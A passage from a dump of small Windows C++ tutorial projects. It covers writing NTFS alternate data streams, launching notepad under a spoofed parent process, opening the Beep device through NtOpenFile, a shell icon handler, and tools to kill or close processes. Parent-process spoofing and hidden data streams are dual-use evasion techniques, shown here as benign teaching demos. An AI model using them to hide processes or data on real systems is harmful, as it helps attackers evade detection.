16 | {BB3FA49F-7EF2-451D-A5A1-7580B0EF5B9F}.Debug|x64.ActiveCfg = Debug|x64
17 | {BB3FA49F-7EF2-451D-A5A1-7580B0EF5B9F}.Debug|x64.Build.0 = Debug|x64
18 | {BB3FA49F-7EF2-451D-A5A1-7580B0EF5B9F}.Debug|x86.ActiveCfg = Debug|Win32
19 | {BB3FA49F-7EF2-451D-A5A1-7580B0EF5B9F}.Debug|x86.Build.0 = Debug|Win32
20 | {BB3FA49F-7EF2-451D-A5A1-7580B0EF5B9F}.Release|x64.ActiveCfg = Release|x64
21 | {BB3FA49F-7EF2-451D-A5A1-7580B0EF5B9F}.Release|x64.Build.0 = Release|x64
22 | {BB3FA49F-7EF2-451D-A5A1-7580B0EF5B9F}.Release|x86.ActiveCfg = Release|Win32
23 | {BB3FA49F-7EF2-451D-A5A1-7580B0EF5B9F}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | EndGlobal
29 |
--------------------------------------------------------------------------------
/CreateStreams/CreateStreams/CreateStreams.cpp:
--------------------------------------------------------------------------------
1 | // CreateStreams.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 |
7 | int main() {
8 | HANDLE hFile = CreateFile(L"d:\\Pavel\\hello.txt", GENERIC_READ, 0,
9 | nullptr, OPEN_EXISTING, 0, nullptr);
10 | if (hFile != INVALID_HANDLE_VALUE) {
11 | auto size = GetFileSize(hFile, nullptr);
12 | printf("Size of file: %u\n", size);
13 | }
14 |
15 | hFile = CreateFile(L"d:\\Pavel\\hello.txt:mydata", GENERIC_WRITE, 0,
16 | nullptr, OPEN_ALWAYS, 0, nullptr);
17 | if (hFile != INVALID_HANDLE_VALUE) {
18 | auto size = GetFileSize(hFile, nullptr);
19 | printf("Size: %u\n", size);
20 | char text[] = "Hello, Stream!!!";
21 | DWORD ret;
22 | for (int i = 0; i < 10000; i++) {
23 | WriteFile(hFile, text, sizeof(text), &ret, nullptr);
24 | }
25 | CloseHandle(hFile);
26 | }
27 | return 0;
28 | }
29 |
--------------------------------------------------------------------------------
/CreateStreams/CreateStreams/CreateStreams.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/CreateWithParent/CreateWithParent.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.10.34707.107
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CreateWithParent", "CreateWithParent\CreateWithParent.vcxproj", "{D20CEFD5-C333-4AAA-AFC1-E1C83DACE045}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {D20CEFD5-C333-4AAA-AFC1-E1C83DACE045}.Debug|x64.ActiveCfg = Debug|x64
17 | {D20CEFD5-C333-4AAA-AFC1-E1C83DACE045}.Debug|x64.Build.0 = Debug|x64
18 | {D20CEFD5-C333-4AAA-AFC1-E1C83DACE045}.Debug|x86.ActiveCfg = Debug|Win32
19 | {D20CEFD5-C333-4AAA-AFC1-E1C83DACE045}.Debug|x86.Build.0 = Debug|Win32
20 | {D20CEFD5-C333-4AAA-AFC1-E1C83DACE045}.Release|x64.ActiveCfg = Release|x64
21 | {D20CEFD5-C333-4AAA-AFC1-E1C83DACE045}.Release|x64.Build.0 = Release|x64
22 | {D20CEFD5-C333-4AAA-AFC1-E1C83DACE045}.Release|x86.ActiveCfg = Release|Win32
23 | {D20CEFD5-C333-4AAA-AFC1-E1C83DACE045}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {4C7A04A5-746A-41F7-9D0A-D304A7A6FBB5}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/CreateWithParent/CreateWithParent/CreateWithParent.cpp:
--------------------------------------------------------------------------------
1 | // CreateWithParent.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 | #include
7 |
8 | int main(int argc, const char* argv[]) {
9 | int pid = argc > 1 ? atoi(argv[1]) : GetCurrentProcessId();
10 |
11 | HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, pid);
12 | if (!hParent) {
13 | printf("Error opening process (%u)\n", GetLastError());
14 | return 1;
15 | }
16 |
17 | SIZE_T size;
18 | InitializeProcThreadAttributeList(nullptr, 1, 0, &size);
19 | auto buffer = std::make_unique(size);
20 | auto attributes = (PPROC_THREAD_ATTRIBUTE_LIST)buffer.get();
21 | InitializeProcThreadAttributeList(attributes, 1, 0, &size);
22 |
23 | UpdateProcThreadAttribute(attributes, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
24 | &hParent, sizeof(hParent), nullptr, nullptr);
25 |
26 | STARTUPINFOEX si = { sizeof(si) };
27 | PROCESS_INFORMATION pi;
28 | si.lpAttributeList = attributes;
29 |
30 | WCHAR name[] = L"notepad";
31 | if (CreateProcess(nullptr, name, nullptr, nullptr, FALSE, EXTENDED_STARTUPINFO_PRESENT,
32 | nullptr, nullptr, (STARTUPINFO*)&si, &pi)) {
33 | printf("Notepad created PID: %d\n", pi.dwProcessId);
34 | CloseHandle(pi.hThread);
35 | CloseHandle(pi.hProcess);
36 | }
37 | else {
38 | printf("Failed to create process (%u)\n", GetLastError());
39 | }
40 | CloseHandle(hParent);
41 | DeleteProcThreadAttributeList(attributes);
42 |
43 | return 0;
44 | }
45 |
--------------------------------------------------------------------------------
/CreateWithParent/CreateWithParent/CreateWithParent.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/DevAccess/DevAccess.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.9.34526.213
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DevAccess", "DevAccess\DevAccess.vcxproj", "{472115BF-099F-452A-AC97-28A4BCA580CB}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {472115BF-099F-452A-AC97-28A4BCA580CB}.Debug|x64.ActiveCfg = Debug|x64
17 | {472115BF-099F-452A-AC97-28A4BCA580CB}.Debug|x64.Build.0 = Debug|x64
18 | {472115BF-099F-452A-AC97-28A4BCA580CB}.Debug|x86.ActiveCfg = Debug|Win32
19 | {472115BF-099F-452A-AC97-28A4BCA580CB}.Debug|x86.Build.0 = Debug|Win32
20 | {472115BF-099F-452A-AC97-28A4BCA580CB}.Release|x64.ActiveCfg = Release|x64
21 | {472115BF-099F-452A-AC97-28A4BCA580CB}.Release|x64.Build.0 = Release|x64
22 | {472115BF-099F-452A-AC97-28A4BCA580CB}.Release|x86.ActiveCfg = Release|Win32
23 | {472115BF-099F-452A-AC97-28A4BCA580CB}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {DE7618C3-2A5D-4444-A502-41F9123FD583}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/DevAccess/DevAccess/DevAccess.cpp:
--------------------------------------------------------------------------------
1 | // DevAccess.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | #pragma comment(lib, "ntdll")
10 |
11 | int main() {
12 | //HANDLE hDevice = CreateFile(LR"(\\.\GlobalRoot\Device\Beep)",
13 | // GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING,
14 | // 0, nullptr);
15 | HANDLE hDevice;
16 | UNICODE_STRING devName;
17 | RtlInitUnicodeString(&devName, DD_BEEP_DEVICE_NAME_U);
18 | OBJECT_ATTRIBUTES devAttr;
19 | InitializeObjectAttributes(&devAttr, &devName, 0, nullptr, nullptr);
20 | IO_STATUS_BLOCK ioStatus;
21 | NTSTATUS status = NtOpenFile(&hDevice, GENERIC_WRITE,
22 | &devAttr, &ioStatus, 0, 0);
23 |
24 | if (status == 0) {
25 | printf("handle: 0x%p\n", hDevice);
26 |
27 | BEEP_SET_PARAMETERS note;
28 | note.Frequency = 800; // Hz
29 | note.Duration = 2000; // msec
30 | DWORD ret;
31 | DeviceIoControl(hDevice, IOCTL_BEEP_SET,
32 | ¬e, sizeof(note), nullptr, 0, &ret, nullptr);
33 |
34 | CloseHandle(hDevice);
35 | }
36 |
37 | return 0;
38 | }
39 |
--------------------------------------------------------------------------------
/DevAccess/DevAccess/DevAccess.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler.sln:
--------------------------------------------------------------------------------
1 | Microsoft Visual Studio Solution File, Format Version 12.00
2 | # Visual Studio Version 17
3 | VisualStudioVersion = 17.13.35617.110
4 | MinimumVisualStudioVersion = 10.0.40219.1
5 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DllIconHandler", "DllIconHandler\DllIconHandler.vcxproj", "{61589805-1D1F-00E2-659E-D35176FC7810}"
6 | EndProject
7 | Global
8 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
9 | Debug|x64 = Debug|x64
10 | Debug|x86 = Debug|x86
11 | Release|x64 = Release|x64
12 | Release|x86 = Release|x86
13 | EndGlobalSection
14 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
15 | {61589805-1D1F-00E2-659E-D35176FC7810}.Debug|x64.ActiveCfg = Debug|x64
16 | {61589805-1D1F-00E2-659E-D35176FC7810}.Debug|x64.Build.0 = Debug|x64
17 | {61589805-1D1F-00E2-659E-D35176FC7810}.Debug|x86.ActiveCfg = Debug|Win32
18 | {61589805-1D1F-00E2-659E-D35176FC7810}.Debug|x86.Build.0 = Debug|Win32
19 | {61589805-1D1F-00E2-659E-D35176FC7810}.Release|x64.ActiveCfg = Release|x64
20 | {61589805-1D1F-00E2-659E-D35176FC7810}.Release|x64.Build.0 = Release|x64
21 | {61589805-1D1F-00E2-659E-D35176FC7810}.Release|x86.ActiveCfg = Release|Win32
22 | {61589805-1D1F-00E2-659E-D35176FC7810}.Release|x86.Build.0 = Release|Win32
23 | EndGlobalSection
24 | GlobalSection(SolutionProperties) = preSolution
25 | HideSolutionNode = FALSE
26 | EndGlobalSection
27 | GlobalSection(ExtensibilityGlobals) = postSolution
28 | SolutionGuid = {06607663-F99C-4A45-B874-AA52192F427F}
29 | EndGlobalSection
30 | EndGlobal
31 |
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/BitnessIconHandler.h:
--------------------------------------------------------------------------------
1 | // BitnessIconHandler.h : Declaration of the CBitnessIconHandler
2 |
3 | #pragma once
4 | #include "resource.h" // main symbols
5 | #include "DllIconHandler_i.h"
6 | #include
7 |
8 | using namespace ATL;
9 |
10 |
11 | // CBitnessIconHandler
12 |
13 | class ATL_NO_VTABLE CBitnessIconHandler :
14 | public CComObjectRootEx,
15 | public IExtractIcon,
16 | public IPersistFile,
17 | public CComCoClass {
18 | public:
19 | CBitnessIconHandler() {
20 | }
21 |
22 | DECLARE_REGISTRY_RESOURCEID(106)
23 |
24 | BEGIN_COM_MAP(CBitnessIconHandler)
25 | COM_INTERFACE_ENTRY(IPersistFile)
26 | COM_INTERFACE_ENTRY(IExtractIcon)
27 | END_COM_MAP()
28 |
29 | DECLARE_PROTECT_FINAL_CONSTRUCT()
30 |
31 | HRESULT FinalConstruct() {
32 | return S_OK;
33 | }
34 |
35 | void FinalRelease() {
36 | }
37 |
38 | private:
39 | enum class ModuleBitness {
40 | Unknown,
41 | Bits32,
42 | Bits64
43 | };
44 |
45 | // Inherited via IPersistFile
46 | HRESULT __stdcall GetClassID(CLSID* pClassID) override;
47 | HRESULT __stdcall IsDirty(void) override;
48 | HRESULT __stdcall Load(LPCOLESTR pszFileName, DWORD dwMode) override;
49 | HRESULT __stdcall Save(LPCOLESTR pszFileName, BOOL fRemember) override;
50 | HRESULT __stdcall SaveCompleted(LPCOLESTR pszFileName) override;
51 | HRESULT __stdcall GetCurFile(LPOLESTR* ppszFileName) override;
52 |
53 | // Inherited via IExtractIconW
54 | HRESULT __stdcall GetIconLocation(UINT uFlags, PWSTR pszIconFile, UINT cchMax, int* piIndex, UINT* pwFlags) override;
55 | HRESULT __stdcall Extract(PCWSTR pszFile, UINT nIconIndex, HICON* phiconLarge, HICON* phiconSmall, UINT nIconSize) override;
56 |
57 | ModuleBitness m_Bitness{ ModuleBitness::Unknown };
58 | };
59 |
60 | OBJECT_ENTRY_AUTO(__uuidof(BitnessIconHandler), CBitnessIconHandler)
61 |
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/BitnessIconHandler.rgs:
--------------------------------------------------------------------------------
1 | HKCR
2 | {
3 | NoRemove CLSID
4 | {
5 | ForceRemove {03aaf250-34fc-49ab-99ad-928f365d7834} = s 'BitnessIconHandler class'
6 | {
7 | ForceRemove Programmable
8 | InprocServer32 = s '%MODULE%'
9 | {
10 | val ThreadingModel = s 'Apartment'
11 | }
12 | TypeLib = s '{f460f82a-b79c-45e0-b3b6-b2aa18d5717b}'
13 | Version = s '1.0'
14 | }
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/DllIconHandler.def:
--------------------------------------------------------------------------------
1 | ; DllIconHandler.def : Declares the module parameters.
2 |
3 | LIBRARY
4 |
5 | EXPORTS
6 | DllCanUnloadNow PRIVATE
7 | DllGetClassObject PRIVATE
8 | DllRegisterServer PRIVATE
9 | DllUnregisterServer PRIVATE
10 | DllInstall PRIVATE
11 |
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/DllIconHandler.idl:
--------------------------------------------------------------------------------
1 | // DllIconHandler.idl : IDL source for DllIconHandler
2 | //
3 |
4 | // This file will be processed by the MIDL tool to
5 | // produce the type library (DllIconHandler.tlb) and marshalling code.
6 |
7 | import "oaidl.idl";
8 | import "ocidl.idl";
9 |
10 | [
11 | object,
12 | uuid(76f5724b-4ad6-49c2-811a-8ca5894732a7),
13 | dual,
14 | nonextensible,
15 | pointer_default(unique)
16 | ]
17 | interface IBitnessIconHandler : IDispatch
18 | {
19 | };
20 | [
21 | uuid(f460f82a-b79c-45e0-b3b6-b2aa18d5717b),
22 | version(1.0),
23 | ]
24 | library DllIconHandlerLib
25 | {
26 | importlib("stdole2.tlb");
27 | [
28 | uuid(03aaf250-34fc-49ab-99ad-928f365d7834)
29 | ]
30 | coclass BitnessIconHandler
31 | {
32 | [default] interface IBitnessIconHandler;
33 | };
34 | };
35 |
36 | import "shobjidl.idl";
37 |
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/DllIconHandler.rc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zodiacon/youtubecode/47c127a5f0d7ec57dde5a226dd828efabd586a84/DllIconHandler/DllIconHandler/DllIconHandler.rc
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/DllIconHandler.rgs:
--------------------------------------------------------------------------------
1 | HKCR
2 | {
3 | NoRemove DllFile {
4 | NoRemove ShellEx {
5 | IconHandler = s '{03aaf250-34fc-49ab-99ad-928f365d7834}'
6 | }
7 | }
8 | }
9 |
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/Resource.h:
--------------------------------------------------------------------------------
1 | //{{NO_DEPENDENCIES}}
2 | // Microsoft Visual C++ generated include file.
3 | // Used by DllIconHandler.rc
4 | //
5 | #define IDS_PROJNAME 100
6 | #define IDR_DLLICONHANDLER 101
7 | #define IDR_BITNESSICONHANDLER 106
8 | #define IDI_32 201
9 | #define IDI_64 202
10 |
11 | // Next default values for new objects
12 | //
13 | #ifdef APSTUDIO_INVOKED
14 | #ifndef APSTUDIO_READONLY_SYMBOLS
15 | #define _APS_NEXT_RESOURCE_VALUE 203
16 | #define _APS_NEXT_COMMAND_VALUE 32768
17 | #define _APS_NEXT_CONTROL_VALUE 201
18 | #define _APS_NEXT_SYMED_VALUE 107
19 | #endif
20 | #endif
21 |
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/dllmain.cpp:
--------------------------------------------------------------------------------
1 | // dllmain.cpp : Implementation of DllMain.
2 |
3 | #include "pch.h"
4 | #include "framework.h"
5 | #include "resource.h"
6 | #include "DllIconHandler_i.h"
7 | #include "dllmain.h"
8 | #include "xdlldata.h"
9 |
10 | CDllIconHandlerModule _AtlModule;
11 |
12 | // DLL Entry Point
13 | extern "C" BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
14 | {
15 | #ifdef _MERGE_PROXYSTUB
16 | if (!PrxDllMain(hInstance, dwReason, lpReserved))
17 | return FALSE;
18 | #endif
19 | hInstance;
20 | return _AtlModule.DllMain(dwReason, lpReserved);
21 | }
22 |
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/dllmain.h:
--------------------------------------------------------------------------------
1 | // dllmain.h : Declaration of module class.
2 |
3 | class CDllIconHandlerModule : public ATL::CAtlDllModuleT< CDllIconHandlerModule >
4 | {
5 | public :
6 | DECLARE_LIBID(LIBID_DllIconHandlerLib)
7 | DECLARE_REGISTRY_APPID_RESOURCEID(IDR_DLLICONHANDLER, "{f460f82a-b79c-45e0-b3b6-b2aa18d5717b}")
8 | };
9 |
10 | extern class CDllIconHandlerModule _AtlModule;
11 |
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/framework.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef STRICT
4 | #define STRICT
5 | #endif
6 |
7 | #include "targetver.h"
8 |
9 | #define _ATL_APARTMENT_THREADED
10 |
11 | #define _ATL_NO_AUTOMATIC_NAMESPACE
12 |
13 | #define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // some CString constructors will be explicit
14 |
15 |
16 | #define ATL_NO_ASSERT_ON_DESTROY_NONEXISTENT_WINDOW
17 |
18 | #include "resource.h"
19 | #include
20 | #include
21 | #include
22 |
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/pch.cpp:
--------------------------------------------------------------------------------
1 | // pch.cpp: source file corresponding to the pre-compiled header
2 |
3 | #include "pch.h"
4 |
5 | // When you are using pre-compiled headers, this source file is necessary for compilation to succeed.
6 |
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/pch.h:
--------------------------------------------------------------------------------
1 | // pch.h: This is a precompiled header file.
2 | // Files listed below are compiled only once, improving build performance for future builds.
3 | // This also affects IntelliSense performance, including code completion and many code browsing features.
4 | // However, files listed here are ALL re-compiled if any one of them is updated between builds.
5 | // Do not add files here that you will be updating frequently as this negates the performance advantage.
6 |
7 | #ifndef PCH_H
8 | #define PCH_H
9 |
10 | // add headers that you want to pre-compile here
11 | #include "framework.h"
12 |
13 | #endif //PCH_H
14 |
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/platform-32bits.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zodiacon/youtubecode/47c127a5f0d7ec57dde5a226dd828efabd586a84/DllIconHandler/DllIconHandler/platform-32bits.ico
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/platform-64bits.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zodiacon/youtubecode/47c127a5f0d7ec57dde5a226dd828efabd586a84/DllIconHandler/DllIconHandler/platform-64bits.ico
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Including SDKDDKVer.h defines the highest available Windows platform.
4 |
5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/xdlldata.c:
--------------------------------------------------------------------------------
1 | // wrapper for dlldata.c
2 |
3 | #ifdef _MERGE_PROXYSTUB // merge proxy stub DLL
4 |
5 | #define REGISTER_PROXY_DLL //DllRegisterServer, etc.
6 |
7 | #define USE_STUBLESS_PROXY //defined only with MIDL switch /Oicf
8 |
9 | #pragma comment(lib, "rpcns4.lib")
10 | #pragma comment(lib, "rpcrt4.lib")
11 |
12 | #define ENTRY_PREFIX Prx
13 |
14 | #include "dlldata.c"
15 | #include "DllIconHandler_p.c"
16 |
17 | #endif //_MERGE_PROXYSTUB
18 |
--------------------------------------------------------------------------------
/DllIconHandler/DllIconHandler/xdlldata.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifdef _MERGE_PROXYSTUB
4 |
5 | extern "C"
6 | {
7 | BOOL WINAPI PrxDllMain(HINSTANCE hInstance, DWORD dwReason,
8 | LPVOID lpReserved);
9 | STDAPI PrxDllCanUnloadNow(void);
10 | STDAPI PrxDllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv);
11 | STDAPI PrxDllRegisterServer(void);
12 | STDAPI PrxDllUnregisterServer(void);
13 | }
14 |
15 | #endif
16 |
--------------------------------------------------------------------------------
/EndTask/Close/Close.cpp:
--------------------------------------------------------------------------------
1 | // Close.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 |
7 | int main(int argc, const char* argv[]) {
8 | if (argc < 2) {
9 | printf("Usage: close \n");
10 | return 0;
11 | }
12 |
13 | int pid = atoi(argv[1]);
14 |
15 | EnumWindows([](HWND hWnd, auto p) {
16 | DWORD id;
17 | DWORD targetPid = (DWORD)p;
18 | GetWindowThreadProcessId(hWnd, &id);
19 | if (id == targetPid) {
20 | printf("Posting WM_CLOSE...\n");
21 | PostMessage(hWnd, WM_CLOSE, 0, 0);
22 | return FALSE;
23 | }
24 | return TRUE;
25 | }, pid);
26 |
27 | return 0;
28 | }
29 |
30 |
--------------------------------------------------------------------------------
/EndTask/Close/Close.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/EndTask/EndTask.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.7.33711.374
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Kill", "Kill\Kill.vcxproj", "{3A6FFFC8-4E0A-46CD-BBD6-20E0D4A0362E}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Close", "Close\Close.vcxproj", "{850B738F-384D-4B94-B29C-86DF8E3D23F7}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|x64 = Debug|x64
13 | Debug|x86 = Debug|x86
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {3A6FFFC8-4E0A-46CD-BBD6-20E0D4A0362E}.Debug|x64.ActiveCfg = Debug|x64
19 | {3A6FFFC8-4E0A-46CD-BBD6-20E0D4A0362E}.Debug|x64.Build.0 = Debug|x64
20 | {3A6FFFC8-4E0A-46CD-BBD6-20E0D4A0362E}.Debug|x86.ActiveCfg = Debug|Win32
21 | {3A6FFFC8-4E0A-46CD-BBD6-20E0D4A0362E}.Debug|x86.Build.0 = Debug|Win32
22 | {3A6FFFC8-4E0A-46CD-BBD6-20E0D4A0362E}.Release|x64.ActiveCfg = Release|x64
23 | {3A6FFFC8-4E0A-46CD-BBD6-20E0D4A0362E}.Release|x64.Build.0 = Release|x64
24 | {3A6FFFC8-4E0A-46CD-BBD6-20E0D4A0362E}.Release|x86.ActiveCfg = Release|Win32
25 | {3A6FFFC8-4E0A-46CD-BBD6-20E0D4A0362E}.Release|x86.Build.0 = Release|Win32
26 | {850B738F-384D-4B94-B29C-86DF8E3D23F7}.Debug|x64.ActiveCfg = Debug|x64
27 | {850B738F-384D-4B94-B29C-86DF8E3D23F7}.Debug|x64.Build.0 = Debug|x64
28 | {850B738F-384D-4B94-B29C-86DF8E3D23F7}.Debug|x86.ActiveCfg = Debug|Win32
29 | {850B738F-384D-4B94-B29C-86DF8E3D23F7}.Debug|x86.Build.0 = Debug|Win32
30 | {850B738F-384D-4B94-B29C-86DF8E3D23F7}.Release|x64.ActiveCfg = Release|x64
31 | {850B738F-384D-4B94-B29C-86DF8E3D23F7}.Release|x64.Build.0 = Release|x64
32 | {850B738F-384D-4B94-B29C-86DF8E3D23F7}.Release|x86.ActiveCfg = Release|Win32
33 | {850B738F-384D-4B94-B29C-86DF8E3D23F7}.Release|x86.Build.0 = Release|Win32
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | GlobalSection(ExtensibilityGlobals) = postSolution
39 | SolutionGuid = {35DC0E41-83F9-4B91-BEAC-05AB5A48BFF6}
40 | EndGlobalSection
41 | EndGlobal
42 |
--------------------------------------------------------------------------------
/EndTask/Kill/Kill.cpp:
--------------------------------------------------------------------------------
1 | // Kill.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 |
7 | int main(int argc, const char* argv[]) {
8 | if (argc < 2) {
9 | printf("Usage: kill \n");
10 | return 0;
11 | }
12 |
13 | HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE,
14 | atoi(argv[1]));
15 | if (!hProcess) {
16 | printf("Error opening process (%u)\n", GetLastError());
17 | return 1;
18 | }
19 |
20 | if (TerminateProcess(hProcess, 1))
21 | printf("Success!\n");
22 | else
23 | printf("Error (%u)\n", GetLastError());
24 |
25 | CloseHandle(hProcess);
26 | return 0;
27 | }
28 |
29 |
--------------------------------------------------------------------------------
/EndTask/Kill/Kill.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
